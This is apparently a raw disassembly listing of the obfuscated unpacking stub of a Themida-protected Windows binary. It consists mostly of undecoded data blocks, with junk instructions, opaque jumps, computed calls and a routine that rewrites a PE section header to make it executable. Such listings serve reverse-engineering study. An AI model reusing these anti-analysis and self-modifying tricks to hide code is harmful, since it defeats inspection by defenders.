movsx esi, cx
mov si, 0E350h
popa
lea eax, [ebp+613858Ah]
jb loc_5B9B33
jmp loc_5B9B33
; ---------------------------------------------------------------------------
dd 0ACD2BDD1h, 0D5AAACFEh, 0BA326D16h
db 84h, 0E1h, 0BDh
; ---------------------------------------------------------------------------
loc_5B9B33: ; CODE XREF: sub_5B9A2C+EDj
; sub_5B9A2C+F3j
call eax
jge loc_5B9B46
jmp loc_5B9B46
; ---------------------------------------------------------------------------
dd 0B5DD5EF1h
; ---------------------------------------------------------------------------
mov bl, 0B2h
loc_5B9B46: ; CODE XREF: sub_5B9A2C+109j
; sub_5B9A2C+10Fj
push eax
pusha
popa
jmp loc_5B9B61
; ---------------------------------------------------------------------------
dw 9D32h
dd 0E4FF84C8h, 1465FD33h, 4CDB0E16h, 0A5A8203Ah
; ---------------------------------------------------------------------------
cli
loc_5B9B61: ; CODE XREF: sub_5B9A2C+11Dj
lea ecx, [ebp+61015A5h]
pusha
movsx eax, di
mov esi, ecx
popa
push ecx
jmp loc_5B9B7B
; ---------------------------------------------------------------------------
dd 0D1195ED5h
db 0A2h, 0CBh, 0AEh
; ---------------------------------------------------------------------------
loc_5B9B7B: ; CODE XREF: sub_5B9A2C+143j
push 4
stc
push 1000h
pusha
call sub_5B9B9A
mov ch, 8Ch
div dword ptr [ecx]
push edx
jmp far ptr 0E751h:0A6490872h
sub_5B9A2C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
retn 40C4h
; ---------------------------------------------------------------------------
db 8Eh, 93h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_5B9B9A proc near ; CODE XREF: sub_5B9A2C+158p
jmp near ptr sub_5B9BAA
sub_5B9B9A endp
; ---------------------------------------------------------------------------
les esp, [esp+esi*4+75h]
wait
inc ebp
aad 67h
pop ecx
mov cl, 2Dh
; =============== S U B R O U T I N E =======================================
sub_5B9BAA proc far ; CODE XREF: sub_5B9B9Aj
pop ebx
mov ax, 0A43Dh
popa
push dword ptr [ebp+6101FD5h]
pusha
pusha
cmc
mov bl, 0CBh
popa
jmp loc_5B9BD5
; ---------------------------------------------------------------------------
db 37h, 0F4h, 0D1h
dd 30BD0F77h, 6FA4A4CBh, 8362F16Dh, 328CFA42h
db 0E3h
; ---------------------------------------------------------------------------
loc_5B9BD5: ; CODE XREF: sub_5B9BAA+12j
popa
call eax
jmp loc_5B9BE2
; ---------------------------------------------------------------------------
cmp ebx, [ebp+7Fh]
idiv byte ptr [eax]
loc_5B9BE2: ; CODE XREF: sub_5B9BAA+2Ej
mov edi, [ebp+6101FD5h]
jl loc_5B9BF7
pusha
stc
jbe $+6
popa
loc_5B9BF7: ; CODE XREF: sub_5B9BAA+3Ej
add edi, [edi+3Ch]
jns loc_5B9C0C
pusha
jns $+6
mov dx, 0C7EBh
popa
loc_5B9C0C: ; CODE XREF: sub_5B9BAA+50j
jmp loc_5B9C1E
; ---------------------------------------------------------------------------
db 4Fh, 8Ch, 0F1h
; ---------------------------------------------------------------------------
adc ecx, [ebp+esi*8-5ED1D42Ch]
pop esi
lea esi, [esi]
loc_5B9C1E: ; CODE XREF: sub_5B9BAA:loc_5B9C0Cj
add edi, 0F8h
jns loc_5B9C37
jmp loc_5B9C37
; ---------------------------------------------------------------------------
db 5Bh
dd 0DEB66242h
; ---------------------------------------------------------------------------
retf 56A2h
; ---------------------------------------------------------------------------
loc_5B9C37: ; CODE XREF: sub_5B9BAA+7Aj
; sub_5B9BAA+80j
mov dword ptr [edi+24h], 60000020h
jmp loc_5B9C4C
; ---------------------------------------------------------------------------
db 46h
dd 6AB7EE43h, 0F64F42D6h
; ---------------------------------------------------------------------------
loc_5B9C4C: ; CODE XREF: sub_5B9A2C+94j
; sub_5B9BAA+94j
lea ebx, [ebp+6100F51h]
jmp loc_5B9C6B
; ---------------------------------------------------------------------------
db 3Ch
dd 88406E00h, 0FEAC156h, 95ED08F6h, 0DA74DBD6h
db 7Ah, 5, 0B6h
; ---------------------------------------------------------------------------
loc_5B9C6B: ; CODE XREF: sub_5B9BAA+A8j
mov eax, [ebx]
pusha
jge loc_5B9C77
add cl, 7Dh
loc_5B9C77: ; CODE XREF: sub_5B9BAA+C4j
jno loc_5B9C7E
cmc
loc_5B9C7E: ; CODE XREF: sub_5B9BAA:loc_5B9C77j
popa
or eax, eax
jz loc_5B9CCA
pusha
mov dl, ch
jmp loc_5B9C9B
; ---------------------------------------------------------------------------
db 0CDh
dd 0F2C82B6Eh, 661F105Dh
db 0F0h, 0D7h, 81h
; ---------------------------------------------------------------------------
loc_5B9C9B: ; CODE XREF: sub_5B9BAA+E0j
popa
pusha
jmp loc_5B9CB4
; ---------------------------------------------------------------------------
dw 0E53Eh
; ---------------------------------------------------------------------------
fadd dword ptr [edx-4Fh]
pusha
and [esi+7Eh], bl
cwde
sbb eax, 1B998695h
cmp ebx, [esi-19h]
loc_5B9CB4: ; CODE XREF: sub_5B9BAA+F3j
jb loc_5B9CBE
mov bx, 0CD77h
loc_5B9CBE: ; CODE XREF: sub_5B9BAA:loc_5B9CB4j
popa
mov eax, [eax]
pusha
mov edi, eax
popa
mov [ebx+4], eax
pusha
popa
loc_5B9CCA: ; CODE XREF: sub_5B9BAA+D7j
mov ecx, 234CF6h
jmp loc_5B9CE9
; ---------------------------------------------------------------------------
dd 23089068h, 4 dup(0)
db 0
; ---------------------------------------------------------------------------
loc_5B9CE9: ; CODE XREF: sub_5B9BAA+125j
jmp loc_5BA234
; ---------------------------------------------------------------------------
dw 0FFAFh
dd 0D37900BCh, 0F499209Ch, 0D378FFBBh, 0F1932296h, 0F410F6B2h
dd 27A3E286h, 0BCFDB0h, 1E9AD579h, 0FFBBF097h, 0C979300Ch
dd 2D6BDA94h, 7932E4B0h, 0DBC708A9h, 0DDC908BCh, 87597D59h
dd 0ECD110B4h, 98147947h, 0EFAFCCE3h, 1AA8637Dh, 0FA6DCC28h
dd 0C704A71Eh, 0B98257DBh, 0D564D817h, 330DF92Eh, 2FE45E4Dh
dd 24006DCCh, 0DDC9FEA5h, 10B78459h, 0F8B027DBh, 0E8BEAFC1h
dd 70FD6FCDh, 289A916Bh, 0CC6DCC97h, 0F08B7B50h, 3AF130CFh
dd 89774905h, 0CC9720A2h, 525FC46Dh, 0ECCC09BDh, 49FDBC98h
dd 0E9FE620Eh, 0CD81BC72h, 8068FAF3h, 0BF4FA1F7h, 427D31AAh
dd 0BA96374Eh, 9F23E611h, 776DCCEEh, 472BD7FBh, 0B99DDC90h
dd 8928DBCDh, 4D68E4Dh, 50442061h, 863CF7D4h, 5F088F4Bh
dd 0E689502Ah, 83D2D4A9h, 6DCCEE3Ah, 0C227BEFDh, 336AA3EFh
dd 83CFh, 79323D00h, 0E7412A44h, 4D6578CAh, 7138E603h
dd 6DCCB2D3h, 8D79B86Ch, 731F560Eh, 639038EFh, 0CCB21AA8h
dd 421EFA6Dh, 5A91374Eh, 5967FE9Dh, 9752F1D2h, 336A6956h
dd 1251F3C6h, 83E5025Eh, 8, 0CF06BE7Dh, 0A22A3F23h, 29437A32h
dd 7CEE5457h, 2A066DCCh, 1DF514Dh, 0CC7CB80Ah, 0B6F1956Dh
dd 0BAB666CAh, 376E169Dh, 5A974C4Bh, 0DA15B980h, 712D4A26h
dd 67CE653Eh, 47CE8AC1h, 59EF6BA0h, 533F7E32h, 7B558C34h
dd 8BF6CC52h, 0CEABD4B5h, 0DB14B9D0h, 0C0F9B027h, 32D950D4h
dd 0DB609FDh, 2E4D4A76h, 9BDA8E97h, 0C87E3D1Fh, 3CE3708Dh
dd 927EB36Ch, 3CECA98Eh, 0ED156F6Fh, 0C77E1D09h, 2B1E28Eh
dd 2FD46763h, 0DF22D5F2h, 0BF336AE3h, 5Bh, 3F7E320Dh, 0EA58532Dh
dd 0A6DCC7Ch, 4E4D390Eh, 0F7B25E97h, 842809A8h, 0FBB02B45h
dd 0A635A9BEh, 0D7A9C302h, 0CC7C6ED4h, 0CDAA866Dh, 0D815BAD1h
dd 0A9487B2Ch, 0BEF7AE2Dh, 342BF6A9h, 4A0B336Bh, 81000000h
dd 533F7E32h, 9F538E34h, 55DC734Ch, 8DC96BB3h, 0B95FA796h
dd 328B219Dh, 84F437Ah, 6DCC7CBFh, 0FDACD790h, 6DCC7C45h
dd 0F5A1C5A1h, 0F431D6h, 6F44DB96h, 0FA46C711h, 0BF866A02h
dd 29846100h, 9336B1Bh, 1, 5C04D783h, 0D68B4825h, 55F8C39Dh
dd 50473714h, 24AE6297h, 7A2FF68Dh, 0A1388D41h, 8069203Ah
dd 6467FC06h, 552FFE67h, 4B20C53Ch, 50894057h, 62098074h
dd 812AB12Dh, 18FC3B43h, 70546908h, 0D86FD584h, 0F8E49423h
dd 0E9256AD3h, 1B30D934h, 13EDE988h, 236EAA18h, 0E2C54A94h
dd 4EB87DA6h, 28B3C8ACh, 0DE85547Fh, 9279FDA9h, 94231C30h
dd 838658D4h, 94231C3Fh, 0C3775BD7h, 84568B34h, 1C13AF5Ah
dd 77F39423h, 0F9CE0BC0h, 0A0D58E0Dh, 6D0497F4h, 72E61BC4h
dd 0FB37688h, 0E794231Ch, 1C2C9695h, 6CC89423h, 61AC7388h
dd 41397BD6h, 12Eh, 88C97C3Fh, 0BD5CD973h, 78B6DF15h, 2E129456h
dd 8A5C6D1Ch, 0AEAA67FCh, 0E71CC3C2h, 6FACD815h, 9F6BC1AFh
dd 0AF2A14CAh, 6407BEFDh, 0E2F77B27h, 897DB259h, 70245912h
dd 0EDE9881Bh, 0C6189100h, 0A2B7D8A5h, 813D7219h, 7AFCF3BEh
dd 36D339h, 6EED0000h, 0C65E7BBAh, 401AC15Ch, 0CC7CD949h
dd 7521FDEDh, 508940FBh, 7C32907Bh, 999BEDCCh, 192E6F22h
dd 6974EB8Ah, 31B15872h, 0D56DCC7Ch, 0A764E559h, 0D8000000h
dd 265B04D7h, 0C025B451h, 0CC7C79C9h, 32907B6Dh, 0D26DCC7Ch
dd 0BCAA656h, 0D691D56h, 771417E9h, 0F67FC0Ch, 0BF685F13h
dd 0FFECCE8Ah, 0EA9E782Bh, 4E7BF7ABh, 44032F61h, 0CF8C61A0h
dd 0F709E318h, 233B8E34h, 0ED0A6694h, 3ADF6A31h, 0AB949423h
dd 18560D14h, 5BE91976h, 9E4605CDh, 72CF8B67h, 78667863h
dd 6A7EED53h, 0BE6D26F9h, 9423EB04h, 8B6084E0h, 18F39FA0h
dd 0A2C8059Eh, 7CD6B501h, 0B1AD6D8Ah, 0E81DC6C5h, 7817AA3Ch
dd 0F507D4E3h, 9BA2200Bh, 0E6429E14h, 3B3CEF11h, 0C3942F83h
dd 0FCD819CCh, 4D7AA40h, 0F0742061h, 706B8ADBh, 64AAAB5Eh
dd 0D85467F7h, 0C1F6AD2Ch, 0A0D58E0Dh, 0BBF7AF4h, 1C10FBD0h
dd 0C1F907EDh, 468743E2h, 4A0E9F45h, 763D1AEBh, 952498CDh
dd 3B4B0EEh, 10BF50A7h, 0CDB9F699h, 2998D69h, 522D074Dh
dd 9C552D32h, 0AAC6AAE7h, 0ED2EDFF6h, 0B4E9A239h, 59F88BC0h
dd 0B3348E7Dh, 54D0B906h, 942BC670h, 2DA1D68Dh, 0D4C0F5AEh
dd 0AC3h, 4D73900h, 0F571255Ch, 32C288D8h, 52493D80h, 19B06499h
dd 4F463A75h, 32A95D9Eh, 34533F7Eh, 26A55190h, 39504481h
dd 30A75B94h, 0CF554178h, 717868h, 240C8900h, 0C181E189h
dd 4, 8704E983h, 685C240Ch, 7EF2h, 68241489h, 2AB5h, 57240C89h
dd 4717B1BFh, 5FFA893Fh, 0FF32F281h, 8B543951h, 0C483240Ch
dd 4EC8104h, 89000000h, 418F2414h, 2434FF08h, 4C48159h
dd 0FF000000h, 835A2434h, 0A9E904C4h, 0ACFFF992h, 4C37478Eh
; ---------------------------------------------------------------------------
loc_5BA234: ; CODE XREF: sub_5B9BAA:loc_5B9CE9j
mov eax, 616ED65h
add eax, ebp
jmp eax
sub_5B9BAA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 4Dh, 22h, 0C6h
dd 0A0EAEA0Ah, 0CA54E31Dh, 0AE2E2C17h, 75734E23h, 0E18BE840h
dd 49FA0B32h, 4D3C4603h, 5FD3987Fh, 17545527h, 75B3AB2Ch
dd 84C59F77h, 890EB870h, 0CCF1902Fh, 3B7A933Eh, 0B617320h
dd 9E95B37h, 51284253h, 0B2DD6239h, 6BA9B649h, 1C45DE1Bh
dd 0ECD9CA61h, 2FF5A212h, 0AF895638h, 3E80FB74h, 9A8BC12Ah
dd 9F09D55Eh, 0BE844h, 0ACC60000h, 54464F12h, 32B1750h
dd 11E964h, 3C2E0000h, 8864E881h, 23EB6A2Ah, 2266B130h
dd 5B812ECBh, 28A0F51h, 60000000h, 0C3815861h, 5BC7h, 5EDFDDBFh
dd 16B8684Ah, 11E90000h, 0C2000000h, 5E89394Bh, 1EC37765h
dd 75522AC0h, 43C5CFE9h, 79BF665Eh, 0E9138B61h, 0Fh, 0CB2D885Dh
dd 7063C403h, 4E4C4F98h, 81AE1FC8h, 0F408A1EAh, 0EE969h
dd 455D0000h, 0CA120967h, 2F268DCEh, 0F6FBAD06h, 94E8F281h
dd 14E96186h, 4000000h, 0DB5A241Ah, 863F5CB8h, 4DBD3A63h
dd 5B2256FBh, 8108F1F3h, 0DA7584F2h, 89CE8A4Bh, 28C0F13h
dd 0B0000000h, 4EB839Ah, 0EE816160h, 1, 12850Fh, 0F8600000h
dd 0E243B866h, 17E961h, 58330000h, 0B43060A1h, 376AB866h
dd 0FFFF74E9h, 0E418F1FFh, 3E8E456Ah, 608D8D50h, 6A0616F0h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 20C4C357h, 78D211D2h, 31AFE72h, 10209595h
dd 81666006h, 61C3C2EEh, 9F58D89h, 6A0610h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0A706D9C3h
dd 229DFC98h, 84A7BE66h, 13E9h, 4E6ADF00h, 88B867BEh, 0A19FAA3Eh
dd 59E41Dh, 0ED5502A5h, 231985C7h, 6FC00610h, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 0F94539C3h, 786BC081h, 85C713E9h, 61022C1h, 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5BA457
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BA457 proc near ; CODE XREF: Themida_:005BA44Fp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5BA457 endp
; ---------------------------------------------------------------------------
mov dword ptr [esi-6D08Ch], 1030C5B5h
push es
mov [ebp+6100845h], edx
mov eax, 72C1C9EEh
call dword ptr [ebp+6102DB9h]
push 0
push esi
call sub_5BA48E
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BA48E proc near ; CODE XREF: Themida_:005BA486p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_5BA48E endp
; ---------------------------------------------------------------------------
dw 0A52Bh
dd 2CD23DDBh, 10E8h, 63D6ED00h, 1F3AB5CAh, 921951E0h, 0D90E8429h
dd 0B58960F4h, 6100829h, 5B616160h, 95FF006Ah, 61031C9h
dd 3CEBC08Bh, 8D308F3Dh, 0B7257168h, 0F648086Bh, 0F5AE3683h
dd 0F2DC0B2Eh, 0DB8F6EE9h, 292981DFh, 6FA8AA41h, 80E8CDA1h
dd 0D479C5ADh, 0A0AC1CBFh, 372C1A7Ch, 711B1F9Bh, 0D93A7796h
dd 63EF2378h, 1AE9h, 0CB590800h, 39h, 4 dup(0)
dd 0E9000000h, 4FBh, 16F1E368h, 8F9EE906h, 7268FFF9h, 0E90616F2h
dd 0FFF98F94h, 16F3D168h, 8F8AE906h, 9F4FFFF9h, 0B359E05Ch
dd 9439C07Ch, 0B358DF5Bh, 9133C276h, 94F0D652h, 0C783C266h
dd 0E05C9D50h, 0BE7AB559h, 0DF5B9037h, 0A91910ECh, 4D6BDA8Ch
dd 4D7C450h, 0F571255Ch, 6AA95BD8h, 33681FB6h, 508B2A77h
dd 0CC07BB7Eh, 597F5CD8h, 0FC1F31B2h, 0DECDB367h, 9423A164h
dd 0D3C7A480h, 42FCAB57h, 0A19423A1h, 9B767312h, 7B397B58h
dd 33Bh, 37BA15D1h, 718932A0h, 6C275DCAh, 7B577BB6h, 0BA39AA61h
dd 81DD67FCh, 289A916Fh, 0CC943C0Ah, 378B7E50h, 0CF943C0Ah
dd 12B97653h, 9159943Dh, 7C4E8D2Ch, 7700D88Dh, 0BD6F669Bh
dd 0B28E927Eh, 227F6CBEh, 91DB39B1h, 0FE156885h, 0C80803DDh
dd 8891862Bh, 9F4FF3B6h, 0CBA79DA5h, 5D06D5A7h, 594D021Fh
dd 0B0945DC8h, 758B60C4h, 0DC1DD08Bh, 0A42F4C28h, 2812C6FBh
dd 0D3BF00B1h, 25D110B4h, 8B482541h, 73A9FD4h, 0B4380D8h
dd 3348A1Bh, 9F4F0000h, 0B359E05Ch, 9439C07Ch, 0B358DF5Bh
dd 9133C276h, 94F0D652h, 0C783C266h, 0E05C9D50h, 0BE7AB559h
dd 0DF5B9037h, 0A91910ECh, 4D6BDA8Dh, 0BD5CC450h, 1F5D4C1Eh
dd 0A767F76Ch, 9908BAC2h, 1E5D27Bh, 0A74A11EFh, 26CA9166h
dd 0A34615E7h, 0EFD18562h, 7FA81A11h, 7F2A9425h, 94257FC3h
dd 0DB574723h, 4B9335FEh, 0C5C490A2h, 94257E7Dh, 0F5B09D99h
dd 0FA2FD86Ah, 2A462A06h, 0D9942F76h, 0A79425h, 0C21D1ECBh
dd 39ED4A00h, 2A5B0h, 0CB0EC000h, 0A9E0880Fh, 0C6FFA635h
dd 0A3E08312h, 0BDFCB027h, 8DFF0B01h, 99209CDBh, 7403B7F8h
dd 0A01793CEh, 13F6B2E7h, 8EC08229h, 0C7246BDAh, 1EBD5CFDh
dd 6C1F5D4Ch, 0CBA767F7h, 6C3690D7h, 66079425h, 59B2FE1Ch
dd 40246E38h, 588F3554h, 35CCEFACh, 4EE59E87h, 818C62ABh
dd 1B94239h, 32880000h, 39504479h, 0B8835D92h, 51863D11h
dd 0F1A5C1A5h, 7C368C7Fh, 52CE6DCCh, 80E5596Eh, 0A1886279h
dd 67FC11B8h, 771ED24Eh, 942396CFh, 0FBFE952Eh, 397B3FB2h
dd 3192h, 4D7F800h, 0B548255Ch, 0E8A3BD1Eh, 67FC7CCBh
dd 7423CF4Bh, 942383CAh, 0B66AA95Bh, 45316A1Fh, 0D6FA992Ah
dd 0FAFF962Dh, 397B36B7h, 0DA97h, 7932F500h, 0E6C006A9h
dd 2B8B793Ah, 0FBD5F1D5h, 7A4F8A40h, 815B0D8Ch, 0C2AE92CDh
dd 23DF168h, 0D56D1C0Eh, 316DCCF2h, 4C3F1135h, 6DCCF2F6h
dd 7E35120Eh, 0E5E490C5h, 64F7093Eh, 0F16582BFh, 0CC8FAE3Ah
dd 93C87F6Dh, 32084517h, 17E725B3h, 373A8883h, 7EDA6DCCh
dd 0E1F88562h, 8470AB5Fh, 0C1AAC4A0h, 82A095BFh, 0F709DE9Dh
dd 0FABF0C34h, 7688E467h, 460241E3h, 443E574h, 83B86CE7h
dd 21253A88h, 627EDA94h, 43E7EF5h, 5142524Ah, 146h, 0BA6EB161h
dd 0DA4E853Bh, 0F16DA65Bh, 0D488C56Ah, 0E864A345h, 0B0548602h
dd 8B3EBD71h, 63078E4Ah, 7E25B428h, 0A69A9549h, 0DA8F5FE3h
dd 723AB76Bh, 7C5696D7h, 0FAF266FDh, 73B256DDh, 0B256E5B7h
dd 26DD5673h, 0D7AF3DF1h, 6F235E04h, 0A65DD6F3h, 817DDE68h
dd 1C9B9FC1h, 584C2869h, 13BA8A41h, 7B4126DAh, 739EDC38h
dd 6C29EC2h, 0AFC11AB9h, 0FC24C7FCh, 29431F67h, 0BBFFEB2h
dd 0CA03AA31h, 89805AD6h, 943CE339h, 0BF6C81DDh, 943CE307h
dd 7E3A6F18h, 31661D9Ch, 2E2AD845h, 58C2042Dh, 30D45F7Ch
dd 0A45CDFF1h, 0C4C7B96Dh, 943C717Eh, 0A1B69A96h, 8CF4E5h
dd 5C480000h, 5D4C1EBDh, 67F76C1Bh, 0D815BA81h, 6F33482Ch
dd 0DF88FFF3h, 709BD0AAh, 5F55EF07h, 0A56F2613h, 432025E8h
dd 8229B026h, 0C912594Dh, 9AD4D8E0h, 14CB6A09h, 33EC6BDFh
dd 0D07312FEh, 3FE8DF93h, 0CA7F160Ah, 36771A91h, 0AA9584Ah
dd 97221CC6h, 316820F0h, 0E805E145h, 0CE75BC53h, 160A4BFEh
dd 9882361Ah, 1A152B3h, 0B157C576h, 2DDF567Ah, 491E02EEh
dd 0F0A4D992h, 0DE7h, 215F5500h, 7CF64C3Fh, 120E6DCCh
dd 80326F35h, 9952493Dh, 7519B064h, 9E4F463Ah, 7E32A95Dh
dd 9034533Fh, 8126A551h, 94395044h, 7830A75Bh, 50CF5541h
dd 405E089h, 83000000h, 48704E8h, 24248B24h, 3AB268h, 242C8900h
dd 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch, 0E368240Ch
dd 8B0616F0h, 0C483242Ch, 0C8B5404h, 4C48124h, 81000000h
dd 4ECh, 242C8900h, 8B08418Fh, 8950240Ch, 405E0h, 4050000h
dd 87000000h, 8B5C2404h
; ---------------------------------------------------------------------------
sub al, 24h
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5534D8
; ---------------------------------------------------------------------------
sbb ebp, [esi+67D93380h]
lodsd
adc bh, [eax+616F53Ch]
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 2799A518h, 694858D9h, 12E2AA8Eh, 5573694Ah, 6EF273A4h
dd 5BD6E045h, 76CBF018h, 5E9559D8h, 6A31BE7Fh, 4E818DDBh
dd 27B4C52Fh, 6056C3A5h, 67C81F17h, 7EA73826h, 12A7A91h
dd 1EBC488h, 1D3EA071h, 2C80A945h, 59B2AB43h, 1918D5F7h
dd 79D6308Eh, 7C743B18h, 57845ADBh, 0BE8h, 800E8D00h, 8FF74A53h
dd 4F56DE6Ah, 5BFE8B66h, 81FEBF0Fh, 7498C3h, 7316B900h
dd 6836C1h, 81000000h, 7476FEEh, 820F5871h, 6, 3687D981h
dd 148B5D9Ch, 0FA8B6603h, 6B54F281h, 0FE9546Dh, 5B000000h
dd 1B67A72Bh, 0ABBF3939h, 9AAFF3F9h, 0C281528Ch, 53FC49FCh
dd 0FFCE8166h, 39C28135h, 660E0394h, 89D640BFh, 8DB50314h
dd 178AB966h, 0F04E883h, 138Fh, 7E800h, 153C0000h, 6B64D95Eh
dd 830F47h, 59000000h, 8C28F881h, 850FFFFFh, 17h, 0E9F0B70Fh
dd 21h, 56DCCF8Ah, 0E9A4BE8Dh, 7049AAB8h, 66F6438Eh, 0E98E0ABFh
dd 0FFFFFF7Ah, 7E4356BAh, 9C9CCEABh, 14E80Ah, 0BFE50000h
dd 18C70BA7h, 0D61F80EAh, 46B24BADh, 0DFCA891h, 0F081524Bh
dd 483BBFD5h, 0BE66575Fh, 8158D03Dh, 6F8FC7h, 0C18B6600h
dd 68h, 0BE666000h, 8B0FE314h, 4, 6D09BA66h, 13E95961h
dd 1D000000h, 0ED7EAD9Bh, 12D329BBh, 6C90CBDCh, 0AB23D44Dh
dd 148B1B7Dh, 1CF2810Fh, 0BE6DD6EFh, 4C5D1990h, 303DC281h
dd 46B702A1h, 6DBDEA81h, 83B76D36h, 0D6816652h, 48F932Bh
dd 0D88B660Fh, 338E981h, 8166663Fh, 818C66D3h, 3F0334C1h
dd 0C1B86666h, 40F981AEh, 0FFFFF91h, 1485h, 8FB05100h
dd 27E95Eh, 0EC0C0000h, 76FA4C1Bh, 4F794EBFh, 4870FA7h
dd 66000000h, 0E98358B8h, 0FFFFFF92h, 1CEB4DADh, 0F3A22918h
dd 4CAC48AEh, 0EE835h, 97FE0000h, 4E124506h, 0D6779F6h
dd 2B9E3E14h, 1332BE66h, 0F505158h, 5F5BDFBFh, 5DE7C081h
dd 0DD8A0000h, 174CB9h, 0F108B00h, 38Eh, 0F28B6600h, 8CEFEA81h
dd 0C281332Fh, 782E8224h, 7C59EA81h, 8050717Bh, 895EB5D7h
dd 38E0F10h, 0F000000h, 0E883D8B7h, 59DB8103h, 48476D04h
dd 133250BBh, 1E98333h, 28850Fh, 12E80000h
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5BACA7: ; DATA XREF: Themida_:0055FC78o
adc [edi-3624EE93h], cl
mov al, 29h
retf 59B3h
; ---------------------------------------------------------------------------
mov ch, 17h
jbe short near ptr dword_5BAD08
test eax, 5FF9EA95h
jmp loc_5BACF1
; ---------------------------------------------------------------------------
dd 1731A2C7h, 0D7327812h, 0BE8F353h, 9D000000h, 4C9AEF64h
dd 0F8F334ABh, 94BB9E1Fh, 5F77D266h, 0FFFF78E9h, 0A08C70FFh
dd 0B294BF1Ch, 7967B5A9h
; ---------------------------------------------------------------------------
inc esi
loc_5BACF1: ; CODE XREF: Themida_:005BACBBj
; DATA XREF: Themida_:0054DCC4o
jmp loc_5BAD0C
; ---------------------------------------------------------------------------
dw 212Bh
dd 1972h, 3 dup(0)
dword_5BAD08 dd 0 ; CODE XREF: Themida_:005BACB4j
; ---------------------------------------------------------------------------
loc_5BAD0C: ; CODE XREF: Themida_:loc_5BACF1j
jmp loc_5BB847
; ---------------------------------------------------------------------------
push 616FA15h
jmp loc_55FF58
; ---------------------------------------------------------------------------
push 616FB0Bh
jmp loc_55FF58
; ---------------------------------------------------------------------------
push 616FCE7h
jmp loc_55FF58
; ---------------------------------------------------------------------------
push 616FDE4h
jmp loc_55FF58
; ---------------------------------------------------------------------------
push 616FF7Ch
jmp loc_55FF58
; ---------------------------------------------------------------------------
push 617012Dh
jmp loc_55FF58
; ---------------------------------------------------------------------------
push 6170240h
jmp loc_55FF58
; ---------------------------------------------------------------------------
db 70h
dd 0FDF0A557h, 714411CBh, 8F5AA5Ch, 78451ACCh, 89FBA862h
dd 2AE4F6B9h, 97518875h, 31E3FBCAh, 88429164h, 0FD8AD9DBh
dd 1DDF3D5Ah, 5CAD5DFBh, 0F7464D07h, 74752AE4h, 0BC47B6CEh
dd 1DD85A26h, 0E12E5541h, 11B82F4Ah, 3F13CE85h, 0BE93C9D9h
dd 38C8h, 0D60C7900h, 0A8C9751Ch, 621A48C2h, 45E2E08Bh
dd 0D5241DD8h, 0A78DCE80h, 0FA87D8F7h, 9F518BE6h, 9F1E7220h
dd 365DAAF3h, 9911B845h, 2DB38F2Ah, 1CBE93B8h, 0DFh, 0AC075C64h
dd 28D6FDB7h, 82CE88DBh, 202FBC2Bh, 3517C845h, 0AA647C49h
dd 9D367723h, 4140FA50h, 0DCF481F2h, 44C0CF22h, 0E99517C8h
dd 540E3DC8h, 3DF10E5Dh, 2BA4822Eh, 0FB9ABD08h, 0CBBB17C8h
dd 0AFA4F1A2h, 0A4FA0F5h, 7017C901h, 1F4A15Bh, 187918D2h
dd 105B522Ah, 1DD905E2h, 951C4935h, 8DDED5A9h, 9130EAE0h
dd 0E8A2B542h, 0C3B311B8h, 67F9CE8Fh, 1017CBA1h, 8FDE8D64h
dd 5501803Ah, 0EEAF6960h, 5C09C317h, 10C21A67h, 0AA64764Fh
dd 1531B84Ch, 4FE5E4E2h, 916h, 315E1047h, 7DD28CC4h, 2E631530h
dd 7ED385BFh, 34611B2Fh, 9DAD7040h, 0A3FAEE3h, 9CB20350h
dd 1348B5EAh, 59A80C59h, 0DF3E8BAEh, 7C2CCA1Dh, 754C065Ch
dd 44D67906h, 8F7F17C8h, 352697CEh, 487C267Bh, 9A80531Ah
dd 0E2114A1Dh, 36B43FAEh, 411DD84Ah, 4AE12E55h, 8511B849h
dd 0D93F13CEh, 0C8BE93B3h, 0CEh, 4D075C20h, 29E3F746h
dd 573E59AAh, 0DCEB009h, 1524CF1Eh, 4017C856h, 67BC0B54h
dd 1317C85Ah, 6C5906C0h, 0B316BD77h, 7708F78Fh, 4C81D40Ah
dd 1B47F39Ah, 5F437552h, 28D41DD8h, 205EBED9h, 1BD418A7h
dd 0D6840BC5h, 6D1F358Ah, 0AEF7B866h, 0E09AB03Dh, 856C35E1h
dd 0A14EA5D9h, 17CAC28Eh, 99E8D7C7h, 0F3938049h, 0EC124064h
dd 5571D0A9h, 481C28F0h, 0DA7D0A79h, 7B0BA571h, 3283E28Bh
dd 0EE906620h, 32E215F0h, 820992Fh, 0FE510000h, 0B2A6174Ch
dd 35AABF8h, 9BB10451h, 1949BCE9h, 7242325Fh, 0B4E19BAFh
dd 9561041h, 0A3F0A2BCh, 1A470152h, 9DBC479Ah, 0B81DDF3Fh
dd 65C6A1Eh, 0B5A6174Ch, 2BD292ECh, 80D42438h, 75C87D3h
dd 0E4F7464Dh, 0CE74752Ah, 66BC47B6h, 101DD855h, 3485145Fh
dd 83D011B8h, 9FC0944Eh, 6B1AE995h, 0F49FC072h, 65BB6A5h
dd 0D6FDB7ABh, 0A9557C28h, 0A7506FDh, 11B83467h, 81105BEEh
dd 0D411B834h, 4E877C28h, 2849F59Ch, 0A15B703Dh, 56DFD522h
dd 0A21198FEh, 3C2F4C07h, 88D781ADh, 0BC0FF6B7h, 13BA6C61h
dd 97663B67h, 0B8038A44h, 8A719896h, 40F5B02Fh, 0B104510Bh
dd 9EE9E8A2h, 8A7198F4h, 8D34EEE4h, 41AE0B40h, 8A71992Eh
